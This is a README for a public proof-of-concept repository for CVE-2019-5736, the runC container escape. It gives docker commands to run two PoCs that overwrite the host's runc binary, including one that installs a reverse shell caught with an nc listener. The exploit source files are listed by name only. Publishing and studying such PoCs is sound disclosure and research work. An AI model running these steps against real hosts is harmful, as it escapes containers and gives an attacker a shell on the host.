CVE-2019-5736 POCs# RunC-CVE-2019-5736
Two PoCs for CVE-2019-5736. See [Twistlock Labs](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/ "Explaining CVE-2019-5763") for an explanation of CVE-2019-5736 and the PoCs.
The malicious image PoC is heavily based on [q3k’s PoC](https://github.com/q3k/cve-2019-5736-poc), so all credit goes to him.
## Running the PoCs
Note that running the PoCs will overwrite the `runc` binary on the host. It is recommened that you create a copy of your `runc` binary (commonly at `/usr/sbin/runc`) before running one of the PoCs.
Clone the repository:
```sh
$ git clone https://github.com/twistlock/RunC-CVE-2019-5736
```
### Exec PoC
Overwrites `runc` with a simple program that prints a string.
Running the exec PoC:
```sh
$ cd RunC-CVE-2019-5736
$ docker build -t cve-2019-5736:exec_POC ./exec_POC
$ docker run -d --rm --name poc_ctr cve-2019-5736:exec_POC
$ docker exec poc_ctr bash
```
### Malicious Image PoC
Overwrites runc with a simple reverse shell bash script that connects to localhost:2345.
Listen for the reverse shell:
```sh
$ nc -nvlp 2345
```
From a different shell, run the malicious image PoC:
```sh
$ cd RunC-CVE-2019-5736
$ docker build -t cve-2019-5736:malicious_image_POC ./malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC
```
[4.0K] /data/pocs/63578ab2a60ce2b919144568ecf7860bf74c57d0
├── [4.0K] exec_POC
│ ├── [ 17] bash_evil
│ ├── [ 386] Dockerfile
│ ├── [8.3K] new_runc
│ ├── [ 225] new_runc.c
│ ├── [ 13K] overwrite_runc
│ ├── [3.5K] overwrite_runc.c
│ └── [ 416] replace.sh
├── [4.0K] malicious_image_POC
│ ├── [1.0K] Dockerfile
│ ├── [ 52] new_runc
│ ├── [ 13K] overwrite_runc
│ ├── [2.9K] overwrite_runc.c
│ └── [ 929] run_at_link.c
└── [1.3K] README.md
2 directories, 13 files